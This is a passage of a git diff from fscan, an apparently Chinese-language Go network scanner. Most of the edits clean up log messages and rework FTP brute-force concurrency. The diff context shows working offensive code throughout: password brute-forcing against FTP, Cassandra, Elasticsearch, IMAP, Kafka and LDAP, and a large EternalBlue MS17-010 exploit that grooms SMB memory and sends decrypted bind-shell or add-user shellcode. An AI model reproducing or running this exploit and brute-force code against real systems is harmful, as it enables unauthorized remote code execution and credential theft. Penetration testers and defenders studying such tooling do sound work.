errors.New("填充长度无效") } return data[:length-padding], nil diff --git a/Plugins/Cassandra.go b/Plugins/Cassandra.go index efe6285..8501df6 100644 --- a/Plugins/Cassandra.go +++ b/Plugins/Cassandra.go @@ -98,7 +98,7 @@ func CassandraScan(info *Common.HostInfo) (tmperr error) { // 处理错误情况 if err != nil { - errlog := fmt.Sprintf("[-] Cassandra服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v", + errlog := fmt.Sprintf("Cassandra服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v", info.Host, info.Ports, task.user, task.pass, err) Common.LogError(errlog) @@ -172,7 +172,7 @@ func CassandraConn(info *Common.HostInfo, user string, pass string) (bool, error } } - result := fmt.Sprintf("[+] Cassandra服务 %v:%v ", host, port) + result := fmt.Sprintf("Cassandra服务 %v:%v ", host, port) if user != "" { result += fmt.Sprintf("爆破成功 用户名: %v 密码: %v", user, pass) } else { diff --git a/Plugins/Elasticsearch.go b/Plugins/Elasticsearch.go index a5a3371..db53a11 100644 --- a/Plugins/Elasticsearch.go +++ b/Plugins/Elasticsearch.go @@ -101,7 +101,7 @@ func ElasticScan(info *Common.HostInfo) (tmperr error) { // 处理错误情况 if err != nil { - errlog := fmt.Sprintf("[-] Elasticsearch服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v", + errlog := fmt.Sprintf("Elasticsearch服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v", info.Host, info.Ports, task.user, task.pass, err) Common.LogError(errlog) @@ -178,7 +178,7 @@ func ElasticConn(info *Common.HostInfo, user string, pass string) (bool, error) // 检查响应状态 if resp.StatusCode == 200 { - result := fmt.Sprintf("[+] Elasticsearch服务 %v:%v ", host, port) + result := fmt.Sprintf("Elasticsearch服务 %v:%v ", host, port) if user != "" { result += fmt.Sprintf("爆破成功 用户名: %v 密码: %v", user, pass) } else { diff --git a/Plugins/FTP.go b/Plugins/FTP.go index 3e4541c..9bd6cec 100644 --- a/Plugins/FTP.go +++ b/Plugins/FTP.go @@ -1,6 +1,7 @@ package Plugins import ( + "context" "fmt" "github.com/jlaffaye/ftp" "github.com/shadow1ng/fscan/Common" @@ -17,8 +18,10 @@ func FtpScan(info *Common.HostInfo) (tmperr error) { maxRetries := Common.MaxRetries threads := Common.BruteThreads - successChan := make(chan struct{}, 1) - defer close(successChan) + + // 创建带取消功能的context + ctx, cancel := context.WithCancel(context.Background()) + defer cancel() // 先尝试匿名登录 for retryCount := 0; retryCount < maxRetries; retryCount++ { @@ -26,7 +29,7 @@ func FtpScan(info *Common.HostInfo) (tmperr error) { if flag && err == nil { return nil } - errlog := fmt.Sprintf("[-] ftp %v:%v %v %v", info.Host, info.Ports, "anonymous", err) + errlog := fmt.Sprintf("ftp %v:%v %v %v", info.Host, info.Ports, "anonymous", err) Common.LogError(errlog) if err != nil && !strings.Contains(err.Error(), "Login incorrect") { @@ -40,36 +43,41 @@ func FtpScan(info *Common.HostInfo) (tmperr error) { break } - // 创建任务通道 taskChan := make(chan struct { user string pass string }, len(Common.Userdict["ftp"])*len(Common.Passwords)) + // 任务分发goroutine + go func() { + defer close(taskChan) + for _, user := range Common.Userdict["ftp"] { + for _, pass := range Common.Passwords { + select { + case <-ctx.Done(): + return + default: + pass = strings.Replace(pass, "{user}", user, -1) + taskChan <- struct { + user string + pass string + }{user, pass} + } + } + } + }() + + var wg sync.WaitGroup resultChan := make(chan error, threads) - // 生成所有用户名密码组合任务 - for _, user := range Common.Userdict["ftp"] { - for _, pass := range Common.Passwords { - pass = strings.Replace(pass, "{user}", user, -1) - taskChan <- struct { - user string - pass string - }{user, pass} - } - } - close(taskChan) - // 启动工作线程 - var wg sync.WaitGroup for i := 0; i < threads; i++ { wg.Add(1) go func() { defer wg.Done() for task := range taskChan { - // 检查是否已经成功 select { - case <-successChan: + case <-ctx.Done(): resultChan <- nil return default: @@ -77,88 +85,95 @@ func FtpScan(info *Common.HostInfo) (tmperr error) { // 重试循环 for retryCount := 0; retryCount < maxRetries; retryCount++ { - // 执行FTP连接 done := make(chan struct { success bool err error - }) + }, 1) + + connCtx, connCancel := context.WithTimeout(ctx, time.Duration(Common.Timeout)*time.Second) go func(user, pass string) { success, err := FtpConn(info, user, pass) - done <- struct { + select { + case <-connCtx.Done(): + case done <- struct { success bool err error - }{success, err} + }{success, err}: + } }(task.user, task.pass) - // 等待结果或超时 var err error select { + case <-ctx.Done(): + connCancel() + resultChan <- nil + return case result := <-done: err = result.err if result.success && err == nil { - select { - case successChan <- struct{}{}: - successLog := fmt.Sprintf("[+] FTP %v:%v %v %v", - info.Host, info.Ports, task.user, task.pass) - Common.LogSuccess(successLog) - default: - } + successLog := fmt.Sprintf("FTP %v:%v %v %v", + info.Host, info.Ports, task.user, task.pass) + Common.LogSuccess(successLog) + time.Sleep(100 * time.Millisecond) + cancel() // 取消所有操作 resultChan <- nil return } - case <-time.After(time.Duration(Common.Timeout) * time.Second): + case <-connCtx.Done(): err = fmt.Errorf("连接超时") } - // 处理错误情况 + connCancel() + if err != nil { - errlog := fmt.Sprintf("[-] ftp %v:%v %v %v %v", + select { + case <-ctx.Done(): + resultChan <- nil + return + default: + } + + errlog := fmt.Sprintf("ftp %v:%v %v %v %v", info.Host, info.Ports, task.user, task.pass, err) Common.LogError(errlog) - // 对于登录失败的错误,直接继续下一个 if strings.Contains(err.Error(), "Login incorrect") { break } - // 特别处理连接数过多的情况 if strings.Contains(err.Error(), "too many connections") { time.Sleep(5 * time.Second) if retryCount < maxRetries-1 { - continue // 继续重试 + continue } } - // 检查是否需要重试 if retryErr := Common.CheckErrs(err); retryErr != nil { if retryCount == maxRetries-1 { - continue // 继续下一个密码,而不是返回 + continue } - continue // 继续重试 + continue } } - break // 如果不需要重试,跳出重试循环 + break } } resultChan <- nil }() } - // 等待所有线程完成 go func() { wg.Wait() close(resultChan) }() - // 检查结果 for err := range resultChan { if err != nil { tmperr = err - // 对于超时错误也继续执行 if !strings.Contains(err.Error(), "扫描超时") { if retryErr := Common.CheckErrs(err); retryErr != nil { - continue // 继续尝试,而不是返回 + continue } } } @@ -189,7 +204,7 @@ func FtpConn(info *Common.HostInfo, user string, pass string) (flag bool, err er } // 登录成功,获取目录信息 - result := fmt.Sprintf("[+] ftp %v:%v:%v %v", Host, Port, Username, Password) + result := fmt.Sprintf("ftp %v:%v:%v %v", Host, Port, Username, Password) dirs, err := conn.List("") if err == nil && len(dirs) > 0 { // 最多显示前6个目录 diff --git a/Plugins/FindNet.go b/Plugins/FindNet.go index 4ab9299..7b850bd 100644 --- a/Plugins/FindNet.go +++ b/Plugins/FindNet.go @@ -27,30 +27,30 @@ func FindnetScan(info *Common.HostInfo) error { target := fmt.Sprintf("%s:%v", info.Host, 135) conn, err := Common.WrapperTcpWithTimeout("tcp", target, time.Duration(Common.Timeout)*time.Second) if err != nil { - return fmt.Errorf("[-] 连接RPC端口失败: %v", err) + return fmt.Errorf("连接RPC端口失败: %v", err) } defer conn.Close() if err = conn.SetDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)); err != nil { - return fmt.Errorf("[-] 设置超时失败: %v", err) + return fmt.Errorf("设置超时失败: %v", err) } if _, err = conn.Write(bufferV1); err != nil { - return fmt.Errorf("[-] 发送RPC请求1失败: %v", err) + return fmt.Errorf("发送RPC请求1失败: %v", err) } reply := make([]byte, 4096) if _, err = conn.Read(reply); err != nil { - return fmt.Errorf("[-] 读取RPC响应1失败: %v", err) + return fmt.Errorf("读取RPC响应1失败: %v", err) } if _, err = conn.Write(bufferV2); err != nil { - return fmt.Errorf("[-] 发送RPC请求2失败: %v", err) + return fmt.Errorf("发送RPC请求2失败: %v", err) } n, err := conn.Read(reply) if err != nil || n < 42 { - return fmt.Errorf("[-] 读取RPC响应2失败: %v", err) + return fmt.Errorf("读取RPC响应2失败: %v", err) } text := reply[42:] @@ -64,7 +64,7 @@ func FindnetScan(info *Common.HostInfo) error { } if !found { - return fmt.Errorf("[-] 未找到有效的响应标记") + return fmt.Errorf("未找到有效的响应标记") } return read(text, info.Host) @@ -195,7 +195,7 @@ func read(text []byte, host string) error { // 输出IPv4地址 if len(ipv4Addrs) > 0 { - result += "\n [+] IPv4地址:" + result += "\n IPv4地址:" for _, addr := range ipv4Addrs { result += fmt.Sprintf("\n └─ %s", addr) } @@ -203,7 +203,7 @@ func read(text []byte, host string) error { // 输出IPv6地址 if len(ipv6Addrs) > 0 { - result += "\n [+] IPv6地址:" + result += "\n IPv6地址:" for _, addr := range ipv6Addrs { result += fmt.Sprintf("\n └─ %s", addr) } diff --git a/Plugins/IMAP.go b/Plugins/IMAP.go index f877d96..1f96a67 100644 --- a/Plugins/IMAP.go +++ b/Plugins/IMAP.go @@ -84,7 +84,7 @@ func IMAPScan(info *Common.HostInfo) (tmperr error) { // 处理错误情况 if err != nil { - errlog := fmt.Sprintf("[-] IMAP服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v", + errlog := fmt.Sprintf("IMAP服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v", info.Host, info.Ports, task.user, task.pass, err) Common.LogError(errlog) @@ -175,7 +175,7 @@ func tryIMAPAuth(conn net.Conn, host string, port string, user string, pass stri } if strings.Contains(response, "a001 OK") { - result := fmt.Sprintf("[+] IMAP服务 %v:%v 爆破成功 用户名: %v 密码: %v", + result := fmt.Sprintf("IMAP服务 %v:%v 爆破成功 用户名: %v 密码: %v", host, port, user, pass) Common.LogSuccess(result) return true, nil diff --git a/Plugins/Kafka.go b/Plugins/Kafka.go index d4d4047..d5e254e 100644 --- a/Plugins/Kafka.go +++ b/Plugins/Kafka.go @@ -99,7 +99,7 @@ func KafkaScan(info *Common.HostInfo) (tmperr error) { // 处理错误情况 if err != nil { - errlog := fmt.Sprintf("[-] Kafka服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v", + errlog := fmt.Sprintf("Kafka服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v", info.Host, info.Ports, task.user, task.pass, err) Common.LogError(errlog) @@ -164,7 +164,7 @@ func KafkaConn(info *Common.HostInfo, user string, pass string) (bool, error) { consumer, err := sarama.NewConsumer(brokers, config) if err == nil { defer consumer.Close() - result := fmt.Sprintf("[+] Kafka服务 %v:%v ", host, port) + result := fmt.Sprintf("Kafka服务 %v:%v ", host, port) if user != "" { result += fmt.Sprintf("爆破成功 用户名: %v 密码: %v", user, pass) } else { @@ -178,7 +178,7 @@ func KafkaConn(info *Common.HostInfo, user string, pass string) (bool, error) { client, err := sarama.NewClient(brokers, config) if err == nil { defer client.Close() - result := fmt.Sprintf("[+] Kafka服务 %v:%v ", host, port) + result := fmt.Sprintf("Kafka服务 %v:%v ", host, port) if user != "" { result += fmt.Sprintf("爆破成功 用户名: %v 密码: %v", user, pass) } else { diff --git a/Plugins/LDAP.go b/Plugins/LDAP.go index 1a2e84f..7422a03 100644 --- a/Plugins/LDAP.go +++ b/Plugins/LDAP.go @@ -90,7 +90,7 @@ func LDAPScan(info *Common.HostInfo) (tmperr error) { // 处理错误情况 if err != nil { - errlog := fmt.Sprintf("[-] LDAP服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v", + errlog := fmt.Sprintf("LDAP服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v", info.Host, info.Ports, task.user, task.pass, err) Common.LogError(errlog) @@ -177,7 +177,7 @@ func LDAPConn(info *Common.HostInfo, user string, pass string) (bool, error) { } // 记录成功结果 - result := fmt.Sprintf("[+] LDAP服务 %v:%v ", host, port) + result := fmt.Sprintf("LDAP服务 %v:%v ", host, port) if user != "" { result += fmt.Sprintf("爆破成功 用户名: %v 密码: %v", user, pass) } else { diff --git a/Plugins/MS17010-Exp.go b/Plugins/MS17010-Exp.go index 3f1d624..b48f329 100644 --- a/Plugins/MS17010-Exp.go +++ b/Plugins/MS17010-Exp.go @@ -26,7 +26,7 @@ func MS17010EXP(info *Common.HostInfo) { var err error sc, err = AesDecrypt(sc_enc, key) if err != nil { - Common.LogError(fmt.Sprintf("[-] %s MS17-010 解密bind shellcode失败: %v", info.Host, err)) + Common.LogError(fmt.Sprintf("%s MS17-010 解密bind shellcode失败: %v", info.Host, err)) return } @@ -40,7 +40,7 @@ func MS17010EXP(info *Common.HostInfo) { var err error sc, err = AesDecrypt(sc_enc, key) if err != nil { - Common.LogError(fmt.Sprintf("[-] %s MS17-010 解密add shellcode失败: %v", info.Host, err)) + Common.LogError(fmt.Sprintf("%s MS17-010 解密add shellcode失败: %v", info.Host, err)) return } @@ -50,7 +50,7 @@ func MS17010EXP(info *Common.HostInfo) { var err error sc, err = AesDecrypt(sc_enc, key) if err != nil { - Common.LogError(fmt.Sprintf("[-] %s MS17-010 解密guest shellcode失败: %v", info.Host, err)) + Common.LogError(fmt.Sprintf("%s MS17-010 解密guest shellcode失败: %v", info.Host, err)) return } @@ -59,7 +59,7 @@ func MS17010EXP(info *Common.HostInfo) { if strings.Contains(Common.Shellcode, "file:") { read, err := ioutil.ReadFile(Common.Shellcode[5:]) if err != nil { - Common.LogError(fmt.Sprintf("[-] MS17010读取Shellcode文件 %v 失败: %v", Common.Shellcode, err)) + Common.LogError(fmt.Sprintf("MS17010读取Shellcode文件 %v 失败: %v", Common.Shellcode, err)) return } sc = fmt.Sprintf("%x", read) @@ -70,25 +70,25 @@ func MS17010EXP(info *Common.HostInfo) { // 验证shellcode有效性 if len(sc) < 20 { - fmt.Println("[-] 无效的Shellcode") + fmt.Println("无效的Shellcode") return } // 解码shellcode sc1, err := hex.DecodeString(sc) if err != nil { - Common.LogError(fmt.Sprintf("[-] %s MS17-010 Shellcode解码失败: %v", info.Host, err)) + Common.LogError(fmt.Sprintf("%s MS17-010 Shellcode解码失败: %v", info.Host, err)) return } // 执行EternalBlue漏洞利用 err = eternalBlue(address, 12, 12, sc1) if err != nil { - Common.LogError(fmt.Sprintf("[-] %s MS17-010漏洞利用失败: %v", info.Host, err)) + Common.LogError(fmt.Sprintf("%s MS17-010漏洞利用失败: %v", info.Host, err)) return } - Common.LogSuccess(fmt.Sprintf("[*] %s\tMS17-010\t漏洞利用完成", info.Host)) + Common.LogSuccess(fmt.Sprintf("%s\tMS17-010\t漏洞利用完成", info.Host)) } // eternalBlue 执行EternalBlue漏洞利用 @@ -97,7 +97,7 @@ func eternalBlue(address string, initialGrooms, maxAttempts int, sc []byte) erro const maxscSize = packetMaxLen - packetSetupLen - len(loader) - 2 // uint16长度 scLen := len(sc) if scLen > maxscSize { - return fmt.Errorf("[-] Shellcode大小超出限制: %d > %d (超出 %d 字节)", + return fmt.Errorf("Shellcode大小超出限制: %d > %d (超出 %d 字节)", scLen, maxscSize, scLen-maxscSize) } @@ -124,42 +124,42 @@ func exploit(address string, grooms int, payload []byte) error { // 建立SMB1匿名IPC连接 header, conn, err := smb1AnonymousConnectIPC(address) if err != nil { - return fmt.Errorf("[-] 建立SMB连接失败: %v", err) + return fmt.Errorf("建立SMB连接失败: %v", err) } defer func() { _ = conn.Close() }() // 发送SMB1大缓冲区数据 if err = conn.SetReadDeadline(time.Now().Add(10 * time.Second)); err != nil { - return fmt.Errorf("[-] 设置读取超时失败: %v", err) + return fmt.Errorf("设置读取超时失败: %v", err) } if err = smb1LargeBuffer(conn, header); err != nil { - return fmt.Errorf("[-] 发送大缓冲区失败: %v", err) + return fmt.Errorf("发送大缓冲区失败: %v", err) } // 初始化内存喷射线程 fhsConn, err := smb1FreeHole(address, true) if err != nil { - return fmt.Errorf("[-] 初始化内存喷射失败: %v", err) + return fmt.Errorf("初始化内存喷射失败: %v", err) } defer func() { _ = fhsConn.Close() }() // 第一轮内存喷射 groomConns, err := smb2Grooms(address, grooms) if err != nil { - return fmt.Errorf("[-] 第一轮内存喷射失败: %v", err) + return fmt.Errorf("第一轮内存喷射失败: %v", err) } // 释放内存并执行第二轮喷射 fhfConn, err := smb1FreeHole(address, false) if err != nil { - return fmt.Errorf("[-] 释放内存失败: %v", err) + return fmt.Errorf("释放内存失败: %v", err) } _ = fhsConn.Close() // 执行第二轮内存喷射 groomConns2, err := smb2Grooms(address, 6) if err != nil { - return fmt.Errorf("[-] 第二轮内存喷射失败: %v", err) + return fmt.Errorf("第二轮内存喷射失败: %v", err) } _ = fhfConn.Close() @@ -173,42 +173,42 @@ func exploit(address string, grooms int, payload []byte) error { // 发送最终漏洞利用数据包 if err = conn.SetReadDeadline(time.Now().Add(10 * time.Second)); err != nil { - return fmt.Errorf("[-] 设置读取超时失败: %v", err) + return fmt.Errorf("设置读取超时失败: %v", err) } finalPacket := makeSMB1Trans2ExploitPacket(header.TreeID, header.UserID, 15, "exploit") if _, err = conn.Write(finalPacket); err != nil { - return fmt.Errorf("[-] 发送漏洞利用数据包失败: %v", err) + return fmt.Errorf("发送漏洞利用数据包失败: %v", err) } // 获取响应并检查状态 raw, _, err := smb1GetResponse(conn) if err != nil { - return fmt.Errorf("[-] 获取漏洞利用响应失败: %v", err) + return fmt.Errorf("获取漏洞利用响应失败: %v", err) } // 提取NT状态码 ntStatus := []byte{raw[8], raw[7], raw[6], raw[5]} - Common.LogSuccess(fmt.Sprintf("[+] NT Status: 0x%08X", ntStatus)) + Common.LogSuccess(fmt.Sprintf("NT Status: 0x%08X", ntStatus)) // 发送payload - Common.LogSuccess("[*] 开始发送Payload") + Common.LogSuccess("开始发送Payload") body := makeSMB2Body(payload) // 分段发送payload for _, conn := range groomConns { if _, err = conn.Write(body[:2920]); err != nil { - return fmt.Errorf("[-] 发送Payload第一段失败: %v", err) + return fmt.Errorf("发送Payload第一段失败: %v", err) } } for _, conn := range groomConns { if _, err = conn.Write(body[2920:4073]); err != nil { - return fmt.Errorf("[-] 发送Payload第二段失败: %v", err) + return fmt.Errorf("发送Payload第二段失败: %v", err) } } - Common.LogSuccess("[+] Payload发送完成") + Common.LogSuccess("Payload发送完成") return nil } @@ -236,7 +236,7 @@ func smb1AnonymousConnectIPC(address string) (*smbHeader, net.Conn, error) { // 建立TCP连接 conn, err := net.DialTimeout("tcp", address, 10*time.Second) if err != nil { - return nil, nil, fmt.Errorf("[-] 连接目标失败: %v", err) + return nil, nil, fmt.Errorf("连接目标失败: %v", err) } // 连接状态标记 @@ -249,24 +249,24 @@ func smb1AnonymousConnectIPC(address string) (*smbHeader, net.Conn, error) { // SMB协议协商 if err = smbClientNegotiate(conn); err != nil { - return nil, nil, fmt.Errorf("[-] SMB协议协商失败: %v", err) + return nil, nil, fmt.Errorf("SMB协议协商失败: %v", err) } // 匿名登录 raw, header, err := smb1AnonymousLogin(conn) if err != nil { - return nil, nil, fmt.Errorf("[-] 匿名登录失败: %v", err) + return nil, nil, fmt.Errorf("匿名登录失败: %v", err) } // 获取系统版本信息 if _, err = getOSName(raw); err != nil { - return nil, nil, fmt.Errorf("[-] 获取系统信息失败: %v", err) + return nil, nil, fmt.Errorf("获取系统信息失败: %v", err) } // 连接IPC共享 header, err = treeConnectAndX(conn, address, header.UserID) if err != nil { - return nil, nil, fmt.Errorf("[-] 连接IPC共享失败: %v", err) + return nil, nil, fmt.Errorf("连接IPC共享失败: %v", err) } ok = true @@ -299,13 +299,13 @@ func smb1GetResponse(conn net.Conn) ([]byte, *smbHeader, error) { // 读取NetBIOS会话服务头 buf := make([]byte, 4) if _, err := io.ReadFull(conn, buf); err != nil { - return nil, nil, fmt.Errorf("[-] 读取NetBIOS会话服务头失败: %v", err) + return nil, nil, fmt.Errorf("读取NetBIOS会话服务头失败: %v", err) } // 校验消息类型 messageType := buf[0] if messageType != 0x00 { - return nil, nil, fmt.Errorf("[-] 无效的消息类型: 0x%02X", messageType) + return nil, nil, fmt.Errorf("无效的消息类型: 0x%02X", messageType) } // 解析消息体大小 @@ -316,14 +316,14 @@ func smb1GetResponse(conn net.Conn) ([]byte, *smbHeader, error) { // 读取SMB消息体 buf = make([]byte, messageSize) if _, err := io.ReadFull(conn, buf); err != nil { - return nil, nil, fmt.Errorf("[-] 读取SMB消息体失败: %v", err) + return nil, nil, fmt.Errorf("读取SMB消息体失败: %v", err) } // 解析SMB头部 header := smbHeader{} reader := bytes.NewReader(buf[:smbHeaderSize]) if err := binary.Read(reader, binary.LittleEndian, &header); err != nil { - return nil, nil, fmt.Errorf("[-] 解析SMB头部失败: %v", err) + return nil, nil, fmt.Errorf("解析SMB头部失败: %v", err) } return buf, &header, nil @@ -335,27 +335,27 @@ func smbClientNegotiate(conn net.Conn) error { // 构造NetBIOS会话服务头 if err := writeNetBIOSHeader(&buf); err != nil { - return fmt.Errorf("[-] 构造NetBIOS头失败: %v", err) + return fmt.Errorf("构造NetBIOS头失败: %v", err) } // 构造SMB协议头 if err := writeSMBHeader(&buf); err != nil { - return fmt.Errorf("[-] 构造SMB头失败: %v", err) + return fmt.Errorf("构造SMB头失败: %v", err) } // 构造协议协商请求 if err := writeNegotiateRequest(&buf); err != nil { - return fmt.Errorf("[-] 构造协议协商请求失败: %v", err) + return fmt.Errorf("构造协议协商请求失败: %v", err) } // 发送数据包 if _, err := buf.WriteTo(conn); err != nil { - return fmt.Errorf("[-] 发送协议协商数据包失败: %v", err) + return fmt.Errorf("发送协议协商数据包失败: %v", err) } // 获取响应 if _, _, err := smb1GetResponse(conn); err != nil { - return fmt.Errorf("[-] 获取协议协商响应失败: %v", err) + return fmt.Errorf("获取协议协商响应失败: %v", err) } return nil @@ -428,22 +428,22 @@ func smb1AnonymousLogin(conn net.Conn) ([]byte, *smbHeader, error) { // 构造NetBIOS会话服务头 if err := writeNetBIOSLoginHeader(&buf); err != nil { - return nil, nil, fmt.Errorf("[-] 构造NetBIOS头失败: %v", err) + return nil, nil, fmt.Errorf("构造NetBIOS头失败: %v", err) } // 构造SMB协议头 if err := writeSMBLoginHeader(&buf); err != nil { - return nil, nil, fmt.Errorf("[-] 构造SMB头失败: %v", err) + return nil, nil, fmt.Errorf("构造SMB头失败: %v", err) } // 构造会话设置请求 if err := writeSessionSetupRequest(&buf); err != nil { - return nil, nil, fmt.Errorf("[-] 构造会话设置请求失败: %v", err) + return nil, nil, fmt.Errorf("构造会话设置请求失败: %v", err) } // 发送数据包 if _, err := buf.WriteTo(conn); err != nil { - return nil, nil, fmt.Errorf("[-] 发送登录数据包失败: %v", err) + return nil, nil, fmt.Errorf("发送登录数据包失败: %v", err) } // 获取响应 @@ -560,7 +560,7 @@ func getOSName(raw []byte) (string, error) { char := make([]byte, 2) for { if _, err := io.ReadFull(reader, char); err != nil { - return "", fmt.Errorf("[-] 读取操作系统名称失败: %v", err) + return "", fmt.Errorf("读取操作系统名称失败: %v", err) } // 遇到结束符(0x00 0x00)时退出 @@ -590,17 +590,17 @@ func treeConnectAndX(conn net.Conn, address string, userID uint16) (*smbHeader, // 构造NetBIOS会话服务头 if err := writeNetBIOSTreeHeader(&buf); err != nil { - return nil, fmt.Errorf("[-] 构造NetBIOS头失败: %v", err) + return nil, fmt.Errorf("构造NetBIOS头失败: %v", err) } // 构造SMB协议头 if err := writeSMBTreeHeader(&buf, userID); err != nil { - return nil, fmt.Errorf("[-] 构造SMB头失败: %v", err) + return nil, fmt.Errorf("构造SMB头失败: %v", err) } // 构造树连接请求 if err := writeTreeConnectRequest(&buf, address); err != nil { - return nil, fmt.Errorf("[-] 构造树连接请求失败: %v", err) + return nil, fmt.Errorf("构造树连接请求失败: %v", err) } // 更新数据包大小 @@ -608,13 +608,13 @@ func treeConnectAndX(conn net.Conn, address string, userID uint16) (*smbHeader, // 发送数据包 if _, err := buf.WriteTo(conn); err != nil { - return nil, fmt.Errorf("[-] 发送树连接请求失败: %v", err) + return nil, fmt.Errorf("发送树连接请求失败: %v", err) } // 获取响应 _, header, err := smb1GetResponse(conn) if err != nil { - return nil, fmt.Errorf("[-] 获取树连接响应失败: %v", err) + return nil, fmt.Errorf("获取树连接响应失败: %v", err) } return header, nil @@ -682,7 +682,7 @@ func writeTreeConnectRequest(buf *bytes.Buffer, address string) error { // IPC路径 host, _, err := net.SplitHostPort(address) if err != nil { - return fmt.Errorf("[-] 解析地址失败: %v", err) + return fmt.Errorf("解析地址失败: %v", err) } _, _ = fmt.Fprintf(buf, "\\\\%s\\IPC$", host) @@ -707,7 +707,7 @@ func smb1LargeBuffer(conn net.Conn, header *smbHeader) error { // 发送NT Trans请求获取事务头 transHeader, err := sendNTTrans(conn, header.TreeID, header.UserID) if err != nil { - return fmt.Errorf("[-] 发送NT Trans请求失败: %v", err) + return fmt.Errorf("发送NT Trans请求失败: %v", err) } treeID := transHeader.TreeID @@ -732,12 +732,12 @@ func smb1LargeBuffer(conn net.Conn, header *smbHeader) error { // 发送组合数据包 if _, err := conn.Write(transPackets); err != nil { - return fmt.Errorf("[-] 发送大缓冲区数据失败: %v", err) + return fmt.Errorf("发送大缓冲区数据失败: %v", err) } // 获取响应 if _, _, err := smb1GetResponse(conn); err != nil { - return fmt.Errorf("[-] 获取大缓冲区响应失败: %v", err) + return fmt.Errorf("获取大缓冲区响应失败: %v", err) } return nil @@ -749,28 +749,28 @@ func sendNTTrans(conn net.Conn, treeID, userID uint16) (*smbHeader, error) { // 构造NetBIOS会话服务头 if err := writeNetBIOSNTTransHeader(&buf); err != nil { - return nil, fmt.Errorf("[-] 构造NetBIOS头失败: %v", err) + return nil, fmt.Errorf("构造NetBIOS头失败: %v", err) } // 构造SMB协议头 if err := writeSMBNTTransHeader(&buf, treeID, userID); err != nil { - return nil, fmt.Errorf("[-] 构造SMB头失败: %v", err) + return nil, fmt.Errorf("构造SMB头失败: %v", err) } // 构造NT Trans请求 if err := writeNTTransRequest(&buf); err != nil { - return nil, fmt.Errorf("[-] 构造NT Trans请求失败: %v", err) + return nil, fmt.Errorf("构造NT Trans请求失败: %v", err) } // 发送数据包 if _, err := buf.WriteTo(conn); err != nil { - return nil, fmt.Errorf("[-] 发送NT Trans请求失败: %v", err) + return nil, fmt.Errorf("发送NT Trans请求失败: %v", err) } // 获取响应 _, header, err := smb1GetResponse(conn) if err != nil { - return nil, fmt.Errorf("[-] 获取NT Trans响应失败: %v", err) + return nil, fmt.Errorf("获取NT Trans响应失败: %v", err) } return header, nil @@ -1099,7 +1099,7 @@ func smb1FreeHole(address string, start bool) (net.Conn, error) { // 建立TCP连接 conn, err := net.DialTimeout("tcp", address, 10*time.Second) if err != nil { - return nil, fmt.Errorf("[-] 连接目标失败: %v", err) + return nil, fmt.Errorf("连接目标失败: %v", err) } // 连接状态标记 @@ -1112,7 +1112,7 @@ func smb1FreeHole(address string, start bool) (net.Conn, error) { // SMB协议协商 if err = smbClientNegotiate(conn); err != nil { - return nil, fmt.Errorf("[-] SMB协议协商失败: %v", err) + return nil, fmt.Errorf("SMB协议协商失败: %v", err) } // 根据开始/结束标志设置不同参数 @@ -1130,12 +1130,12 @@ func smb1FreeHole(address string, start bool) (net.Conn, error) { // 构造并发送会话数据包 packet := makeSMB1FreeHoleSessionPacket(flags2, vcNum, nativeOS) if _, err = conn.Write(packet); err != nil { - return nil, fmt.Errorf("[-] 发送内存释放会话数据包失败: %v", err) + return nil, fmt.Errorf("发送内存释放会话数据包失败: %v", err) } // 获取响应 if _, _, err = smb1GetResponse(conn); err != nil { - return nil, fmt.Errorf("[-] 获取会话响应失败: %v", err) + return nil, fmt.Errorf("获取会话响应失败: %v", err) } ok = true @@ -1251,12 +1251,12 @@ func smb2Grooms(address string, grooms int) ([]net.Conn, error) { // 创建TCP连接 conn, err := net.DialTimeout("tcp", address, 10*time.Second) if err != nil { - return nil, fmt.Errorf("[-] 连接目标失败: %v", err) + return nil, fmt.Errorf("连接目标失败: %v", err) } // 发送SMB2头 if _, err = conn.Write(header); err != nil { - return nil, fmt.Errorf("[-] 发送SMB2头失败: %v", err) + return nil, fmt.Errorf("发送SMB2头失败: %v", err) } conns = append(conns, conn) diff --git a/Plugins/MS17010.go b/Plugins/MS17010.go index 0d808d4..18646f1 100644 --- a/Plugins/MS17010.go +++ b/Plugins/MS17010.go @@ -3,10 +3,9 @@ package Plugins import ( "encoding/binary" "encoding/hex" - "errors" "fmt" "github.com/shadow1ng/fscan/Common" - "log" + "os" "strings" "time" ) @@ -33,126 +32,133 @@ func init() { // 解密协议请求 decrypted, err := AesDecrypt(negotiateProtocolRequest_enc, key) if err != nil { - log.Fatalf("解密协议请求失败: %v", err) + Common.LogError(fmt.Sprintf("协议请求解密错误: %v", err)) + os.Exit(1) } negotiateProtocolRequest, err = hex.DecodeString(decrypted) if err != nil { - log.Fatalf("解码协议请求失败: %v", err) + Common.LogError(fmt.Sprintf("协议请求解码错误: %v", err)) + os.Exit(1) } // 解密会话请求 decrypted, err = AesDecrypt(sessionSetupRequest_enc, key) if err != nil { - log.Fatalf("解密会话请求失败: %v", err) + Common.LogError(fmt.Sprintf("会话请求解密错误: %v", err)) + os.Exit(1) } sessionSetupRequest, err = hex.DecodeString(decrypted) if err != nil { - log.Fatalf("解码会话请求失败: %v", err) + Common.LogError(fmt.Sprintf("会话请求解码错误: %v", err)) + os.Exit(1) } // 解密连接请求 decrypted, err = AesDecrypt(treeConnectRequest_enc, key) if err != nil { - log.Fatalf("解密连接请求失败: %v", err) + Common.LogError(fmt.Sprintf("连接请求解密错误: %v", err)) + os.Exit(1) } treeConnectRequest, err = hex.DecodeString(decrypted) if err != nil { - log.Fatalf("解码连接请求失败: %v", err) + Common.LogError(fmt.Sprintf("连接请求解码错误: %v", err)) + os.Exit(1) } // 解密管道请求 decrypted, err = AesDecrypt(transNamedPipeRequest_enc, key) if err != nil { - log.Fatalf("解密管道请求失败: %v", err) + Common.LogError(fmt.Sprintf("管道请求解密错误: %v", err)) + os.Exit(1) } transNamedPipeRequest, err = hex.DecodeString(decrypted) if err != nil { - log.Fatalf("解码管道请求失败: %v", err) + 